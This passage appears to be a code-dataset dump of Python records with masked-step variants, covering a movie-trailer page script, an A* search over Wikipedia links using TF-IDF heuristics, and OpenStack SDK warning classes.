href="https://en.wikipedia.org/w/index.php?curid=26009601">Link</a>' , 'https://youtu.be/KYz2wyBy3kc') avatar = media.Movie('Avatar', 'A marine on an alien planet', '<a href="https://en.wikipedia.org/wiki/File:Avatar-Teaser-Poster.jpg#/media/File:Avatar-Teaser-Poster.jpg"><img src="https://upload.wikimedia.org/wikipedia/en/b/b0/Avatar-Teaser-Poster.jpg" alt="Avatar-Teaser-Poster.jpg"></a> By Source, <a href="//en.wikipedia.org/wiki/File:Avatar-Teaser-Poster.jpg" title="Fair use of copyrighted material in the context of Avatar (2009 film)">Fair use</a>, <a href="https://en.wikipedia.org/w/index.php?curid=23732044">Link</a>' , 'https://youtu.be/5PSNL1qE6VY') movies = [toy_story, avatar] fresh_tomatoes.open_movies_page(movies) <|reserved_special_token_1|> import media import fresh_tomatoes toy_story = media.Movie("Toy Story", "A story of a boy and his toys that come to life", '<a href="https://en.wikipedia.org/wiki/File:Toy_Story.jpg#/media/File:Toy_Story.jpg"><img src="https://upload.wikimedia.org/wikipedia/en/1/13/Toy_Story.jpg" alt="The poster features Woody anxiously holding onto Buzz Lightyear as he flies in Andy\'s room. Below them sitting on the bed are Bo Peep, Mr. Potato Head, Troll, Hamm, Slinky, Sarge and Rex. In the lower right center of the image is the film\'s title. The background shows the cloud wallpaper featured in the bedroom."></a> By From <a rel="nofollow" class="external text" href="http://www.impawards.com/1995/toy_story_ver1.html">impawards</a>., <a href="https://en.wikipedia.org/w/index.php?curid=26009601">Link</a>', "https://youtu.be/KYz2wyBy3kc") avatar = media.Movie("Avatar", "A marine on an alien planet", '<a href="https://en.wikipedia.org/wiki/File:Avatar-Teaser-Poster.jpg#/media/File:Avatar-Teaser-Poster.jpg"><img src="https://upload.wikimedia.org/wikipedia/en/b/b0/Avatar-Teaser-Poster.jpg" alt="Avatar-Teaser-Poster.jpg"></a> By Source, <a href="//en.wikipedia.org/wiki/File:Avatar-Teaser-Poster.jpg" title="Fair use of copyrighted material in the context of Avatar (2009 film)">Fair use</a>, <a href="https://en.wikipedia.org/w/index.php?curid=23732044">Link</a>', "https://youtu.be/5PSNL1qE6VY") # print(avatar.storyline) # avatar.show_trailer() movies = [toy_story, avatar] fresh_tomatoes.open_movies_page(movies) # print(media.Movie.__doc__) # print(media.Movie.__name__) # print(media.Movie.__module__)

flexible

{ "blob_id": "e2f6e6e872f95471ebbc8b25bde08247fe8f7e61", "index": 8829, "step-1": "<mask token>\n", "step-2": "<mask token>\nfresh_tomatoes.open_movies_page(movies)\n", "step-3": "<mask token>\ntoy_story = media.Movie('Toy Story',\n 'A story of a boy and his toys that come to life',\n '<a href=\"https://en.wikipedia.org/wiki/File:Toy_Story.jpg#/media/File:Toy_Story.jpg\"><img src=\"https://upload.wikimedia.org/wikipedia/en/1/13/Toy_Story.jpg\" alt=\"The poster features Woody anxiously holding onto Buzz Lightyear as he flies in Andy\\'s room. Below them sitting on the bed are Bo Peep, Mr. Potato Head, Troll, Hamm, Slinky, Sarge and Rex. In the lower right center of the image is the film\\'s title. The background shows the cloud wallpaper featured in the bedroom.\"></a> By From <a rel=\"nofollow\" class=\"external text\" href=\"http://www.impawards.com/1995/toy_story_ver1.html\">impawards</a>., <a href=\"https://en.wikipedia.org/w/index.php?curid=26009601\">Link</a>'\n , 'https://youtu.be/KYz2wyBy3kc')\navatar = media.Movie('Avatar', 'A marine on an alien planet',\n '<a href=\"https://en.wikipedia.org/wiki/File:Avatar-Teaser-Poster.jpg#/media/File:Avatar-Teaser-Poster.jpg\"><img src=\"https://upload.wikimedia.org/wikipedia/en/b/b0/Avatar-Teaser-Poster.jpg\" alt=\"Avatar-Teaser-Poster.jpg\"></a> By Source, <a href=\"//en.wikipedia.org/wiki/File:Avatar-Teaser-Poster.jpg\" title=\"Fair use of copyrighted material in the context of Avatar (2009 film)\">Fair use</a>, <a href=\"https://en.wikipedia.org/w/index.php?curid=23732044\">Link</a>'\n , 'https://youtu.be/5PSNL1qE6VY')\nmovies = [toy_story, avatar]\nfresh_tomatoes.open_movies_page(movies)\n", "step-4": "import media\nimport fresh_tomatoes\ntoy_story = media.Movie('Toy Story',\n 'A story of a boy and his toys that come to life',\n '<a href=\"https://en.wikipedia.org/wiki/File:Toy_Story.jpg#/media/File:Toy_Story.jpg\"><img src=\"https://upload.wikimedia.org/wikipedia/en/1/13/Toy_Story.jpg\" alt=\"The poster features Woody anxiously holding onto Buzz Lightyear as he flies in Andy\\'s room. Below them sitting on the bed are Bo Peep, Mr. Potato Head, Troll, Hamm, Slinky, Sarge and Rex. In the lower right center of the image is the film\\'s title. The background shows the cloud wallpaper featured in the bedroom.\"></a> By From <a rel=\"nofollow\" class=\"external text\" href=\"http://www.impawards.com/1995/toy_story_ver1.html\">impawards</a>., <a href=\"https://en.wikipedia.org/w/index.php?curid=26009601\">Link</a>'\n , 'https://youtu.be/KYz2wyBy3kc')\navatar = media.Movie('Avatar', 'A marine on an alien planet',\n '<a href=\"https://en.wikipedia.org/wiki/File:Avatar-Teaser-Poster.jpg#/media/File:Avatar-Teaser-Poster.jpg\"><img src=\"https://upload.wikimedia.org/wikipedia/en/b/b0/Avatar-Teaser-Poster.jpg\" alt=\"Avatar-Teaser-Poster.jpg\"></a> By Source, <a href=\"//en.wikipedia.org/wiki/File:Avatar-Teaser-Poster.jpg\" title=\"Fair use of copyrighted material in the context of Avatar (2009 film)\">Fair use</a>, <a href=\"https://en.wikipedia.org/w/index.php?curid=23732044\">Link</a>'\n , 'https://youtu.be/5PSNL1qE6VY')\nmovies = [toy_story, avatar]\nfresh_tomatoes.open_movies_page(movies)\n", "step-5": "import media\nimport fresh_tomatoes\n\ntoy_story = media.Movie(\"Toy Story\",\n \"A story of a boy and his toys that come to life\",\n '<a href=\"https://en.wikipedia.org/wiki/File:Toy_Story.jpg#/media/File:Toy_Story.jpg\"><img src=\"https://upload.wikimedia.org/wikipedia/en/1/13/Toy_Story.jpg\" alt=\"The poster features Woody anxiously holding onto Buzz Lightyear as he flies in Andy\\'s room. Below them sitting on the bed are Bo Peep, Mr. Potato Head, Troll, Hamm, Slinky, Sarge and Rex. In the lower right center of the image is the film\\'s title. The background shows the cloud wallpaper featured in the bedroom.\"></a> By From <a rel=\"nofollow\" class=\"external text\" href=\"http://www.impawards.com/1995/toy_story_ver1.html\">impawards</a>., <a href=\"https://en.wikipedia.org/w/index.php?curid=26009601\">Link</a>',\n \"https://youtu.be/KYz2wyBy3kc\")\n\navatar = media.Movie(\"Avatar\",\n \"A marine on an alien planet\",\n '<a href=\"https://en.wikipedia.org/wiki/File:Avatar-Teaser-Poster.jpg#/media/File:Avatar-Teaser-Poster.jpg\"><img src=\"https://upload.wikimedia.org/wikipedia/en/b/b0/Avatar-Teaser-Poster.jpg\" alt=\"Avatar-Teaser-Poster.jpg\"></a> By Source, <a href=\"//en.wikipedia.org/wiki/File:Avatar-Teaser-Poster.jpg\" title=\"Fair use of copyrighted material in the context of Avatar (2009 film)\">Fair use</a>, <a href=\"https://en.wikipedia.org/w/index.php?curid=23732044\">Link</a>',\n \"https://youtu.be/5PSNL1qE6VY\")\n\n# print(avatar.storyline)\n# avatar.show_trailer()\nmovies = [toy_story, avatar]\nfresh_tomatoes.open_movies_page(movies)\n# print(media.Movie.__doc__)\n# print(media.Movie.__name__)\n# print(media.Movie.__module__)\n", "step-ids": [ 0, 1, 2, 3, 4 ] }

[ 0, 1, 2, 3, 4 ]

from __future__ import annotations import typing import requests import heapq from sklearn.metrics.pairwise import cosine_similarity from sklearn.feature_extraction.text import TfidfVectorizer from bs4 import BeautifulSoup from wikiAPI import get_JSON, get_intro, compare_titles from typing import List, Type, Callable def heuristic_0(a: str, b: str) -> float: return 2 def heuristic_1(a: str, b: str) -> float: """ Returns predicted cost (distance) from two titles a to b, through the cosine similarity of two generated term-document matrices of the article. The heuristic in this case is purely semantic. The HTML enriched query for the JSON is: https://en.wikipedia.org/w/api.php?action=parse&page=TITLE&prop=text&formatversion=2&format=json """ query = "https://en.wikipedia.org/w/api.php?action=parse&page=TEMP&prop=text&formatversion=2&format=json" startTitle = (a.replace(" ", "%20")).replace("&", "%26") endTitle = (b.replace(" ", "%20")).replace("&", "%26") startURL = (query.replace("TEMP", startTitle)) endURL = (query.replace("TEMP", endTitle)) # text processing using SOUP initialSoup = BeautifulSoup(get_JSON(startURL)['parse']['text'], 'html.parser') finalSoup = BeautifulSoup(get_JSON(endURL)['parse']['text'], 'html.parser') # generate term-document matrices corpus = [initialSoup.get_text().replace('\n', ' '), finalSoup.get_text().replace('\n', ' ')] vect = TfidfVectorizer() mat = vect.fit_transform(corpus) # return cosine similarity return abs(1 - cosine_similarity(mat[0:1], mat)[0][1]) * 2 def heuristic_2(a: str, b: str) -> float: """ Returns predicted cost (distance) from two titles a to b, through the cosine similarity of two generated term-document matrices of the article. The heuristic in this case is purely semantic. The HTML enriched query for the JSON is: https://en.wikipedia.org/w/api.php?action=query&titles=TITLE&prop=extracts&format=json&exintro=1 """ # generate term-document matrices if get_intro(a) == "" or get_intro(b) == "": return 2 else: corpus = [get_intro(a), get_intro(b)] vect = TfidfVectorizer() mat = vect.fit_transform(corpus) # return cosine similarity return abs(1 - cosine_similarity(mat[0:1], mat)[0][1]) * 2 # def semantic_similarity(a: str, b: str) -> float: # web_model = WebBertSimilarity(device='cpu', batch_size=10) # return web_model.predict([(a, b)]) class Article: """ This is the article class that represents each Wikipedia article. Instance Variables: - title: str that represents the title of the article - target: the final target given by the user - g: - f: """ title: str target: str g: float f: float parent: typing.Union[Article, Type(None)] heuristic: Callable[[str, str], float] def __init__(self, title: str, target: str, parent: typing.Union[Article, Type(None)], heuristic: Callable[[str, str], float] ): """ Initializes based on [urls/titles/nodes] """ self.title = title self.target = target self.heuristic = heuristic if parent: self.parent = parent self.g = parent.g + 1 else: self.parent = None self.g = 0 h = self.heuristic(title, target) self.f = self.g + h def get_children(self, cont: typing.Union[str, Type(None)]) -> List[str]: """ Return list of connected (children) article object using the wikipedia API functions. """ s = requests.Session() url = "https://en.wikipedia.org/w/api.php" if cont is None: params = { "action": "query", "format": "json", "titles": self.title, "prop": "links", "pllimit": "max" } else: params = { "action": "query", "format": "json", "titles": self.title, "prop": "links", "pllimit": "max", "plcontinue": cont } titles_so_far = [] r = s.get(url=url, params=params) data = r.json() pages = data["query"]["pages"] for k, v in pages.items(): if "links" not in v: return [] for l in v["links"]: titles_so_far.append(l["title"]) if "batchcomplete" in data: return titles_so_far else: contHolder = data["continue"]["plcontinue"] titles_so_far.extend(self.get_children(contHolder)) return titles_so_far # return [Article(child, self.target, self.title) for child in titles_so_far] def get_first_x(self, lst: List, x: int) -> List: lst_so_far = [] for i in range(x): lst_so_far.append(lst[i]) return lst_so_far def __lt__(self, other): return self.f < other.f def __le__(self, other): return self.f <= other.f def __eq__(self, other): return compare_titles(self.title, other.title) def __ne__(self, other): return not compare_titles(self.title, other.title) def __gt__(self, other): return self.f > other.f def __ge__(self, other): return self.f >= other.f class PQ: """ MinHeap implementation of a priority queue for A* search. """ heap = [] def __init__(self): self.heap = [] def insert(self, to_insert: Article) -> None: """ Insert new element in Priority queue """ heapq.heappush(self.heap, to_insert) def pop(self) -> Article: """ pops minimum element from priority queue """ return heapq.heappop(self.heap) def a_star(source: str, target: str, heuristic: Callable[[str, str], float]) -> list: """ Returns path from source to target using A* search algorithm. """ visited: set = set((source)) cur: Article = Article(source, target, None, heuristic) queue = PQ() while not compare_titles(cur.title, target): nexts = cur.get_children(None) for next in nexts: if next not in visited: article = Article(next, target, cur, heuristic) queue.insert(article) visited.add(next) print(article.f, article.title) cur = queue.pop() print("CUR:", cur.f, cur.title) path = [cur.title] while path[0] != source: cur = cur.parent path.insert(0, cur.title) return path # print(a_star("Dog", "Aardwolf", heuristic_2))

normal

{ "blob_id": "1fad591fde707c73bd52aa8518828c8b8be9cd32", "index": 2283, "step-1": "<mask token>\n\n\nclass Article:\n <mask token>\n title: str\n target: str\n g: float\n f: float\n parent: typing.Union[Article, Type(None)]\n heuristic: Callable[[str, str], float]\n\n def __init__(self, title: str, target: str, parent: typing.Union[\n Article, Type(None)], heuristic: Callable[[str, str], float]):\n \"\"\"\n Initializes based on [urls/titles/nodes]\n \"\"\"\n self.title = title\n self.target = target\n self.heuristic = heuristic\n if parent:\n self.parent = parent\n self.g = parent.g + 1\n else:\n self.parent = None\n self.g = 0\n h = self.heuristic(title, target)\n self.f = self.g + h\n\n def get_children(self, cont: typing.Union[str, Type(None)]) ->List[str]:\n \"\"\"\n Return list of connected (children) article object using the wikipedia API functions.\n \"\"\"\n s = requests.Session()\n url = 'https://en.wikipedia.org/w/api.php'\n if cont is None:\n params = {'action': 'query', 'format': 'json', 'titles': self.\n title, 'prop': 'links', 'pllimit': 'max'}\n else:\n params = {'action': 'query', 'format': 'json', 'titles': self.\n title, 'prop': 'links', 'pllimit': 'max', 'plcontinue': cont}\n titles_so_far = []\n r = s.get(url=url, params=params)\n data = r.json()\n pages = data['query']['pages']\n for k, v in pages.items():\n if 'links' not in v:\n return []\n for l in v['links']:\n titles_so_far.append(l['title'])\n if 'batchcomplete' in data:\n return titles_so_far\n else:\n contHolder = data['continue']['plcontinue']\n titles_so_far.extend(self.get_children(contHolder))\n return titles_so_far\n\n def get_first_x(self, lst: List, x: int) ->List:\n lst_so_far = []\n for i in range(x):\n lst_so_far.append(lst[i])\n return lst_so_far\n <mask token>\n <mask token>\n\n def __eq__(self, other):\n return compare_titles(self.title, other.title)\n\n def __ne__(self, other):\n return not compare_titles(self.title, other.title)\n <mask token>\n <mask token>\n\n\nclass PQ:\n \"\"\"\n MinHeap implementation of a priority queue for A* search.\n \"\"\"\n heap = []\n\n def __init__(self):\n self.heap = []\n\n def insert(self, to_insert: Article) ->None:\n \"\"\"\n Insert new element in Priority queue\n \"\"\"\n heapq.heappush(self.heap, to_insert)\n\n def pop(self) ->Article:\n \"\"\"\n pops minimum element from priority queue\n \"\"\"\n return heapq.heappop(self.heap)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass Article:\n <mask token>\n title: str\n target: str\n g: float\n f: float\n parent: typing.Union[Article, Type(None)]\n heuristic: Callable[[str, str], float]\n\n def __init__(self, title: str, target: str, parent: typing.Union[\n Article, Type(None)], heuristic: Callable[[str, str], float]):\n \"\"\"\n Initializes based on [urls/titles/nodes]\n \"\"\"\n self.title = title\n self.target = target\n self.heuristic = heuristic\n if parent:\n self.parent = parent\n self.g = parent.g + 1\n else:\n self.parent = None\n self.g = 0\n h = self.heuristic(title, target)\n self.f = self.g + h\n\n def get_children(self, cont: typing.Union[str, Type(None)]) ->List[str]:\n \"\"\"\n Return list of connected (children) article object using the wikipedia API functions.\n \"\"\"\n s = requests.Session()\n url = 'https://en.wikipedia.org/w/api.php'\n if cont is None:\n params = {'action': 'query', 'format': 'json', 'titles': self.\n title, 'prop': 'links', 'pllimit': 'max'}\n else:\n params = {'action': 'query', 'format': 'json', 'titles': self.\n title, 'prop': 'links', 'pllimit': 'max', 'plcontinue': cont}\n titles_so_far = []\n r = s.get(url=url, params=params)\n data = r.json()\n pages = data['query']['pages']\n for k, v in pages.items():\n if 'links' not in v:\n return []\n for l in v['links']:\n titles_so_far.append(l['title'])\n if 'batchcomplete' in data:\n return titles_so_far\n else:\n contHolder = data['continue']['plcontinue']\n titles_so_far.extend(self.get_children(contHolder))\n return titles_so_far\n\n def get_first_x(self, lst: List, x: int) ->List:\n lst_so_far = []\n for i in range(x):\n lst_so_far.append(lst[i])\n return lst_so_far\n\n def __lt__(self, other):\n return self.f < other.f\n\n def __le__(self, other):\n return self.f <= other.f\n\n def __eq__(self, other):\n return compare_titles(self.title, other.title)\n\n def __ne__(self, other):\n return not compare_titles(self.title, other.title)\n <mask token>\n\n def __ge__(self, other):\n return self.f >= other.f\n\n\nclass PQ:\n \"\"\"\n MinHeap implementation of a priority queue for A* search.\n \"\"\"\n heap = []\n\n def __init__(self):\n self.heap = []\n\n def insert(self, to_insert: Article) ->None:\n \"\"\"\n Insert new element in Priority queue\n \"\"\"\n heapq.heappush(self.heap, to_insert)\n\n def pop(self) ->Article:\n \"\"\"\n pops minimum element from priority queue\n \"\"\"\n return heapq.heappop(self.heap)\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass Article:\n \"\"\"\n This is the article class that represents each Wikipedia article.\n\n Instance Variables:\n - title: str that represents the title of the article\n - target: the final target given by the user\n - g:\n - f:\n \"\"\"\n title: str\n target: str\n g: float\n f: float\n parent: typing.Union[Article, Type(None)]\n heuristic: Callable[[str, str], float]\n\n def __init__(self, title: str, target: str, parent: typing.Union[\n Article, Type(None)], heuristic: Callable[[str, str], float]):\n \"\"\"\n Initializes based on [urls/titles/nodes]\n \"\"\"\n self.title = title\n self.target = target\n self.heuristic = heuristic\n if parent:\n self.parent = parent\n self.g = parent.g + 1\n else:\n self.parent = None\n self.g = 0\n h = self.heuristic(title, target)\n self.f = self.g + h\n\n def get_children(self, cont: typing.Union[str, Type(None)]) ->List[str]:\n \"\"\"\n Return list of connected (children) article object using the wikipedia API functions.\n \"\"\"\n s = requests.Session()\n url = 'https://en.wikipedia.org/w/api.php'\n if cont is None:\n params = {'action': 'query', 'format': 'json', 'titles': self.\n title, 'prop': 'links', 'pllimit': 'max'}\n else:\n params = {'action': 'query', 'format': 'json', 'titles': self.\n title, 'prop': 'links', 'pllimit': 'max', 'plcontinue': cont}\n titles_so_far = []\n r = s.get(url=url, params=params)\n data = r.json()\n pages = data['query']['pages']\n for k, v in pages.items():\n if 'links' not in v:\n return []\n for l in v['links']:\n titles_so_far.append(l['title'])\n if 'batchcomplete' in data:\n return titles_so_far\n else:\n contHolder = data['continue']['plcontinue']\n titles_so_far.extend(self.get_children(contHolder))\n return titles_so_far\n\n def get_first_x(self, lst: List, x: int) ->List:\n lst_so_far = []\n for i in range(x):\n lst_so_far.append(lst[i])\n return lst_so_far\n\n def __lt__(self, other):\n return self.f < other.f\n\n def __le__(self, other):\n return self.f <= other.f\n\n def __eq__(self, other):\n return compare_titles(self.title, other.title)\n\n def __ne__(self, other):\n return not compare_titles(self.title, other.title)\n\n def __gt__(self, other):\n return self.f > other.f\n\n def __ge__(self, other):\n return self.f >= other.f\n\n\nclass PQ:\n \"\"\"\n MinHeap implementation of a priority queue for A* search.\n \"\"\"\n heap = []\n\n def __init__(self):\n self.heap = []\n\n def insert(self, to_insert: Article) ->None:\n \"\"\"\n Insert new element in Priority queue\n \"\"\"\n heapq.heappush(self.heap, to_insert)\n\n def pop(self) ->Article:\n \"\"\"\n pops minimum element from priority queue\n \"\"\"\n return heapq.heappop(self.heap)\n\n\n<mask token>\n", "step-4": "<mask token>\n\n\ndef heuristic_2(a: str, b: str) ->float:\n \"\"\"\n Returns predicted cost (distance) from two titles a to b, through the cosine similarity of two generated\n term-document matrices of the article. The heuristic in this case is purely semantic.\n\n The HTML enriched query for the JSON is:\n https://en.wikipedia.org/w/api.php?action=query&titles=TITLE&prop=extracts&format=json&exintro=1\n \"\"\"\n if get_intro(a) == '' or get_intro(b) == '':\n return 2\n else:\n corpus = [get_intro(a), get_intro(b)]\n vect = TfidfVectorizer()\n mat = vect.fit_transform(corpus)\n return abs(1 - cosine_similarity(mat[0:1], mat)[0][1]) * 2\n\n\nclass Article:\n \"\"\"\n This is the article class that represents each Wikipedia article.\n\n Instance Variables:\n - title: str that represents the title of the article\n - target: the final target given by the user\n - g:\n - f:\n \"\"\"\n title: str\n target: str\n g: float\n f: float\n parent: typing.Union[Article, Type(None)]\n heuristic: Callable[[str, str], float]\n\n def __init__(self, title: str, target: str, parent: typing.Union[\n Article, Type(None)], heuristic: Callable[[str, str], float]):\n \"\"\"\n Initializes based on [urls/titles/nodes]\n \"\"\"\n self.title = title\n self.target = target\n self.heuristic = heuristic\n if parent:\n self.parent = parent\n self.g = parent.g + 1\n else:\n self.parent = None\n self.g = 0\n h = self.heuristic(title, target)\n self.f = self.g + h\n\n def get_children(self, cont: typing.Union[str, Type(None)]) ->List[str]:\n \"\"\"\n Return list of connected (children) article object using the wikipedia API functions.\n \"\"\"\n s = requests.Session()\n url = 'https://en.wikipedia.org/w/api.php'\n if cont is None:\n params = {'action': 'query', 'format': 'json', 'titles': self.\n title, 'prop': 'links', 'pllimit': 'max'}\n else:\n params = {'action': 'query', 'format': 'json', 'titles': self.\n title, 'prop': 'links', 'pllimit': 'max', 'plcontinue': cont}\n titles_so_far = []\n r = s.get(url=url, params=params)\n data = r.json()\n pages = data['query']['pages']\n for k, v in pages.items():\n if 'links' not in v:\n return []\n for l in v['links']:\n titles_so_far.append(l['title'])\n if 'batchcomplete' in data:\n return titles_so_far\n else:\n contHolder = data['continue']['plcontinue']\n titles_so_far.extend(self.get_children(contHolder))\n return titles_so_far\n\n def get_first_x(self, lst: List, x: int) ->List:\n lst_so_far = []\n for i in range(x):\n lst_so_far.append(lst[i])\n return lst_so_far\n\n def __lt__(self, other):\n return self.f < other.f\n\n def __le__(self, other):\n return self.f <= other.f\n\n def __eq__(self, other):\n return compare_titles(self.title, other.title)\n\n def __ne__(self, other):\n return not compare_titles(self.title, other.title)\n\n def __gt__(self, other):\n return self.f > other.f\n\n def __ge__(self, other):\n return self.f >= other.f\n\n\nclass PQ:\n \"\"\"\n MinHeap implementation of a priority queue for A* search.\n \"\"\"\n heap = []\n\n def __init__(self):\n self.heap = []\n\n def insert(self, to_insert: Article) ->None:\n \"\"\"\n Insert new element in Priority queue\n \"\"\"\n heapq.heappush(self.heap, to_insert)\n\n def pop(self) ->Article:\n \"\"\"\n pops minimum element from priority queue\n \"\"\"\n return heapq.heappop(self.heap)\n\n\n<mask token>\n", "step-5": "from __future__ import annotations\nimport typing\nimport requests\nimport heapq\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom bs4 import BeautifulSoup\nfrom wikiAPI import get_JSON, get_intro, compare_titles\nfrom typing import List, Type, Callable\n\n\ndef heuristic_0(a: str, b: str) -> float:\n return 2\n\n\ndef heuristic_1(a: str, b: str) -> float:\n \"\"\"\n Returns predicted cost (distance) from two titles a to b, through the cosine similarity of two generated\n term-document matrices of the article. The heuristic in this case is purely semantic.\n\n The HTML enriched query for the JSON is:\n https://en.wikipedia.org/w/api.php?action=parse&page=TITLE&prop=text&formatversion=2&format=json\n \"\"\"\n query = \"https://en.wikipedia.org/w/api.php?action=parse&page=TEMP&prop=text&formatversion=2&format=json\"\n startTitle = (a.replace(\" \", \"%20\")).replace(\"&\", \"%26\")\n endTitle = (b.replace(\" \", \"%20\")).replace(\"&\", \"%26\")\n startURL = (query.replace(\"TEMP\", startTitle))\n endURL = (query.replace(\"TEMP\", endTitle))\n # text processing using SOUP\n initialSoup = BeautifulSoup(get_JSON(startURL)['parse']['text'], 'html.parser')\n finalSoup = BeautifulSoup(get_JSON(endURL)['parse']['text'], 'html.parser')\n # generate term-document matrices\n corpus = [initialSoup.get_text().replace('\\n', ' '), finalSoup.get_text().replace('\\n', ' ')]\n vect = TfidfVectorizer()\n mat = vect.fit_transform(corpus)\n # return cosine similarity\n return abs(1 - cosine_similarity(mat[0:1], mat)[0][1]) * 2\n\n\ndef heuristic_2(a: str, b: str) -> float:\n \"\"\"\n Returns predicted cost (distance) from two titles a to b, through the cosine similarity of two generated\n term-document matrices of the article. The heuristic in this case is purely semantic.\n\n The HTML enriched query for the JSON is:\n https://en.wikipedia.org/w/api.php?action=query&titles=TITLE&prop=extracts&format=json&exintro=1\n \"\"\"\n # generate term-document matrices\n if get_intro(a) == \"\" or get_intro(b) == \"\":\n return 2\n else:\n corpus = [get_intro(a), get_intro(b)]\n vect = TfidfVectorizer()\n mat = vect.fit_transform(corpus)\n # return cosine similarity\n return abs(1 - cosine_similarity(mat[0:1], mat)[0][1]) * 2\n\n\n# def semantic_similarity(a: str, b: str) -> float:\n # web_model = WebBertSimilarity(device='cpu', batch_size=10)\n # return web_model.predict([(a, b)])\n\n\nclass Article:\n \"\"\"\n This is the article class that represents each Wikipedia article.\n\n Instance Variables:\n - title: str that represents the title of the article\n - target: the final target given by the user\n - g:\n - f:\n \"\"\"\n title: str\n target: str\n g: float\n f: float\n parent: typing.Union[Article, Type(None)]\n heuristic: Callable[[str, str], float]\n\n def __init__(self, title: str, target: str, parent: typing.Union[Article, Type(None)], heuristic: Callable[[str, str], float] ):\n \"\"\"\n Initializes based on [urls/titles/nodes]\n \"\"\"\n self.title = title\n self.target = target\n self.heuristic = heuristic\n\n if parent:\n self.parent = parent\n self.g = parent.g + 1\n else:\n self.parent = None\n self.g = 0\n\n h = self.heuristic(title, target)\n self.f = self.g + h\n\n def get_children(self, cont: typing.Union[str, Type(None)]) -> List[str]:\n \"\"\"\n Return list of connected (children) article object using the wikipedia API functions.\n \"\"\"\n s = requests.Session()\n\n url = \"https://en.wikipedia.org/w/api.php\"\n\n if cont is None:\n params = {\n \"action\": \"query\",\n \"format\": \"json\",\n \"titles\": self.title,\n \"prop\": \"links\",\n \"pllimit\": \"max\"\n }\n else:\n params = {\n \"action\": \"query\",\n \"format\": \"json\",\n \"titles\": self.title,\n \"prop\": \"links\",\n \"pllimit\": \"max\",\n \"plcontinue\": cont\n }\n\n titles_so_far = []\n\n r = s.get(url=url, params=params)\n data = r.json()\n\n pages = data[\"query\"][\"pages\"]\n\n for k, v in pages.items():\n if \"links\" not in v:\n return []\n\n for l in v[\"links\"]:\n titles_so_far.append(l[\"title\"])\n\n if \"batchcomplete\" in data:\n return titles_so_far\n else:\n contHolder = data[\"continue\"][\"plcontinue\"]\n titles_so_far.extend(self.get_children(contHolder))\n return titles_so_far\n\n # return [Article(child, self.target, self.title) for child in titles_so_far]\n\n def get_first_x(self, lst: List, x: int) -> List:\n lst_so_far = []\n\n for i in range(x):\n lst_so_far.append(lst[i])\n\n return lst_so_far\n\n def __lt__(self, other):\n return self.f < other.f\n\n def __le__(self, other):\n return self.f <= other.f\n\n def __eq__(self, other):\n return compare_titles(self.title, other.title)\n\n def __ne__(self, other):\n return not compare_titles(self.title, other.title)\n\n def __gt__(self, other):\n return self.f > other.f\n\n def __ge__(self, other):\n return self.f >= other.f\n\nclass PQ:\n \"\"\"\n MinHeap implementation of a priority queue for A* search.\n \"\"\"\n heap = []\n\n def __init__(self):\n self.heap = []\n\n def insert(self, to_insert: Article) -> None:\n \"\"\"\n Insert new element in Priority queue\n \"\"\"\n heapq.heappush(self.heap, to_insert)\n\n def pop(self) -> Article:\n \"\"\"\n pops minimum element from priority queue\n \"\"\"\n return heapq.heappop(self.heap)\n\n\ndef a_star(source: str, target: str, heuristic: Callable[[str, str], float]) -> list:\n \"\"\"\n Returns path from source to target using A* search algorithm.\n \"\"\"\n visited: set = set((source))\n cur: Article = Article(source, target, None, heuristic)\n queue = PQ()\n\n while not compare_titles(cur.title, target):\n nexts = cur.get_children(None)\n for next in nexts:\n if next not in visited:\n article = Article(next, target, cur, heuristic)\n queue.insert(article)\n visited.add(next)\n print(article.f, article.title)\n cur = queue.pop()\n print(\"CUR:\", cur.f, cur.title)\n\n path = [cur.title]\n\n while path[0] != source:\n cur = cur.parent\n path.insert(0, cur.title)\n\n return path\n\n# print(a_star(\"Dog\", \"Aardwolf\", heuristic_2))\n", "step-ids": [ 12, 15, 17, 18, 23 ] }

[ 12, 15, 17, 18, 23 ]

# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. class OpenStackDeprecationWarning(DeprecationWarning): """Base class for warnings about deprecated features in openstacksdk.""" class RemovedResourceWarning(OpenStackDeprecationWarning): """Indicates that a resource has been removed in newer API versions and should not be used. """ class RemovedFieldWarning(OpenStackDeprecationWarning): """Indicates that a field has been removed in newer API versions and should not be used. """ class LegacyAPIWarning(OpenStackDeprecationWarning): """Indicates an API that is in 'legacy' status, a long term deprecation.""" class OpenStackWarning(Warning): """Base class for general warnings in openstacksdk.""" class ConfigurationWarning(OpenStackWarning): """Indicates an issue with configuration.""" class UnsupportedServiceVersion(OpenStackWarning): """Indicates a major version that SDK doesn't understand."""

normal

{ "blob_id": "6339a1a06319a748030b3411c7a8d00f36336e65", "index": 9778, "step-1": "<mask token>\n\n\nclass RemovedResourceWarning(OpenStackDeprecationWarning):\n <mask token>\n\n\nclass RemovedFieldWarning(OpenStackDeprecationWarning):\n \"\"\"Indicates that a field has been removed in newer API versions and should\n not be used.\n \"\"\"\n\n\nclass LegacyAPIWarning(OpenStackDeprecationWarning):\n \"\"\"Indicates an API that is in 'legacy' status, a long term deprecation.\"\"\"\n\n\nclass OpenStackWarning(Warning):\n \"\"\"Base class for general warnings in openstacksdk.\"\"\"\n\n\nclass ConfigurationWarning(OpenStackWarning):\n \"\"\"Indicates an issue with configuration.\"\"\"\n\n\nclass UnsupportedServiceVersion(OpenStackWarning):\n \"\"\"Indicates a major version that SDK doesn't understand.\"\"\"\n", "step-2": "<mask token>\n\n\nclass RemovedResourceWarning(OpenStackDeprecationWarning):\n \"\"\"Indicates that a resource has been removed in newer API versions and\n should not be used.\n \"\"\"\n\n\nclass RemovedFieldWarning(OpenStackDeprecationWarning):\n \"\"\"Indicates that a field has been removed in newer API versions and should\n not be used.\n \"\"\"\n\n\nclass LegacyAPIWarning(OpenStackDeprecationWarning):\n \"\"\"Indicates an API that is in 'legacy' status, a long term deprecation.\"\"\"\n\n\nclass OpenStackWarning(Warning):\n \"\"\"Base class for general warnings in openstacksdk.\"\"\"\n\n\nclass 